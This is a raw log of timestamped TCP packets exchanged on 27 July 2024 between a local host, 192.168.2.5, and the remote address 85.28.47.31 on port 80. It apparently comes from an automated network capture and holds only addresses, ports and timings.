Jul 27, 2024 12:01:08.869810104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.869829893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.869854927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.869921923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.870074987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.870106936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.870136976 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.870141029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.870162964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.870174885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.870199919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.870228052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.870424032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.870481014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.870578051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.870611906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.870637894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.870714903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.870764971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.870798111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.870824099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.870831966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.870857954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.870866060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.870881081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.870927095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.871112108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.871174097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.871586084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.871618032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.871645927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.871650934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.871678114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.871682882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.871707916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.871716022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.871742010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.871804953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.871804953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.871838093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.871865034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.871887922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.872028112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.872061014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.872091055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.872117043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.872186899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.872224092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.872250080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.872256994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.872282028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.872291088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.872313023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.872342110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.872890949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.872924089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.872956038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.872956991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.872991085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.872993946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.873004913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.873044968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.873049974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.873076916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.873105049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.873109102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.873142004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.873173952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.873176098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.873205900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.873213053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.873254061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.873280048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.874337912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.874372005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.874402046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.874406099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.874430895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.874463081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.874501944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.874562025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.874615908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.874667883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.874696970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.874728918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.874754906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.874763966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.874787092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.874824047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.875036955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.875071049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.875102043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.875129938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.875381947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.875413895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.875443935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.875447035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.875472069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.875479937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.875497103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.875513077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.875539064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.875546932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.875574112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.875601053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.876079082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.876111031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.876142025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.876142979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.876168966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.876176119 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.876194000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.876224041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.876252890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.876257896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.876283884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.876291037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.876315117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.876324892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.876342058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.876358032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.876380920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.876405954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.876863003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.876913071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.876921892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.876945972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.876974106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.876981020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.876997948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.877015114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.877031088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.877047062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.877069950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.877079964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.877106905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.877111912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.877135992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.877163887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.877912045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.877945900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.877971888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.877978086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.878002882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.878011942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.878037930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.878042936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.878072023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.878074884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.878093004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.878108025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.878132105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.878139973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.878156900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.878173113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.878190041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.878206015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.878222942 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.878238916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.878256083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.878272057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.878288984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.878320932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.878802061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.878835917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.878865957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.878870010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.878895998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.878904104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.878921986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.878935099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.878959894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.878968000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.878992081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.878999949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.879017115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.879033089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.879060030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.879065037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.879095078 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.879097939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.879122019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.879131079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.879148006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.879163980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.879180908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.879220009 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.879668951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.879700899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.879733086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.879750967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.879755020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.879784107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.879810095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.879817009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.879847050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.879849911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.879874945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.879883051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.879908085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.879915953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.879934072 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.879950047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.879966974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.879982948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.880000114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.880017996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.880043030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.880074978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.880549908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.880584002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.880614996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.880642891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.962234974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.962285042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.962340117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.962372065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.962407112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.962408066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.962409019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.962409019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.962439060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.962476015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.962488890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.962488890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.962488890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.962538958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.962758064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.962790966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.962822914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.962826014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.962843895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.962860107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.962878942 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.962893963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.962922096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.962946892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.963012934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.963047981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.963124990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.963126898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.963160038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.963186979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.963222980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.963381052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.963397026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.963413000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.963428020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.963444948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.963443041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.963483095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.963510990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.963872910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.963931084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.963946104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.963962078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.963994980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.964020014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.964170933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.964185953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.964200974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.964231014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.964268923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.964579105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.964595079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.964608908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.964623928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.964641094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.964642048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.964656115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.964673996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.964677095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.964708090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.964745998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.965010881 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.965073109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.965095997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.965123892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.965635061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.965650082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.965666056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.965679884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.965692043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.965696096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.965712070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.965723038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.965728045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.965743065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.965758085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.965764999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.965773106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.965789080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.965823889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.966063976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.966079950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.966094017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.966120005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.966161013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.966366053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.966381073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.966397047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.966444969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.966473103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.966646910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.966661930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.966675997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.966691017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.966695070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.966706991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.966722965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.966733932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.966738939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.966769934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.966798067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.967394114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.967408895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.967425108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.967437983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.967453957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.967457056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.967468977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.967484951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.967498064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.967499971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.967516899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.967518091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.967531919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.967546940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.967567921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.967612982 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.968184948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.968199968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.968214989 CEST	80	49704	85.28.47.31	192.168.2.5
